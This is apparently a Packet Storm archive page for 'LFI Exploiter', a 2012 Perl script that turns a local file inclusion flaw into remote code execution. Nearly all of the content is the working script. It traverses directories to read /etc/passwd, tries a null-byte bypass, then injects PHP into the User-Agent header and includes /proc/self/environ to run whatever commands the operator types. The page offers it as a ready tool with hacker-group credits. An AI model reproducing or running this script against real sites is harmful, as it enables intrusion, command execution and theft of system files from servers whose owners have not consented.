seeing is believing

LFI Exploiter

LFI Exploiter
Posted Sep 26, 2012
Authored by M.R.S.CO

This perl script leverages /proc/self/environ to attempt getting code execution out of a local file inclusion vulnerability.

tags | tool, local, perl, code execution, file inclusion
systems | unix
MD5 | 4a28894995bf7478f9b2b7d5144536dc

LFI Exploiter

Change Mirror Download


LFI TO RCE....

LFI Expl0iter (ver : beta)



http://mrsco.persiangig.com/perl/LFI%20ExplOiter.pl



#Iranian Dark Coders Team
#WwW.IDC-TeaM.NeT
#Coded BY M.R.S.CO 
#We Are : M.R.S.CO , N3O , G3n3Rall , Nafsh , HijaX
#Friends : b3hz4d , IrIsT , Mr.Xpr , BlacK.King 
#LFI ExplOiter
#ver : beta
#author : Iranian_Dark_Coders_Team
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); 
print q (
         ------------------------------
         |  Iranian Dark Coders Team  |
         ------------------------------
         |      WwW.IDC-TeaM.NeT      |
         ------------------------------
         |     Coded BY M.R.S.CO      |
         ------------------------------
);
use LWP::UserAgent;
use LWP::Simple;
$ua = LWP::UserAgent ->new;
$ua->timeout(30);

print "\n\t Enter Target [Example:http://site.il/idc.php?id=]";
print "\n\n \t Enter Target : ";
$Target=<STDIN>;
chomp($Target);
$tf=1;
print "\n\n\t\tprocessing ...\n";
$t=0;
while($tf==1)
{
  $t=$t+1;
  if ($t==25){print "Passwd Not Found!!"; exit();}
  $dot=$dot . "../";
  $source=get $Target . $dot . "etc/passwd";
  $source2=get $Target .$dot . "etc/passwd%00";
  
  if (($source =~ m/:root:/i || $source =~ m/:x:/i || $source =~ m/:0:/i))
  {
     $u="";
     $tf=2;
  }
 if (($source2 =~ m/:root:/i || $source2 =~ m/:x:/i || $source2 =~ m/:0:/i))
  {
     $u="%00";
     $tf=2;
  }
  
}
$ua->agent('<?php echo "IDC"; ?>');
$response=$ua->get($Target . $dot . "proc/self/environ" . $u);
if ($response->decoded_content =~ "IDC")
{
while($cmd=="exit")
{
print "\n\nEnter Your Command : ";

$cmd=<STDIN>;
chomp($cmd);

$ua->agent('<?php echo "\n\n\nidc-team"; system("' . $cmd . '"); echo "mrsco\n\n\n"; ?>');
$response=$ua->get($Target . $dot . "proc/self/environ" . $u);

$between=substr($response->decoded_content,  index($response->decoded_content, 'idc-team')+8,  index($response->decoded_content, 'mrsco') -  index($response->decoded_content, 'idc-team')-8);
print "\n". $between;
}}else{ print "\n\t\tDont Injectable";}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    28 Files
  • 26
    Jul 26th
    2 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close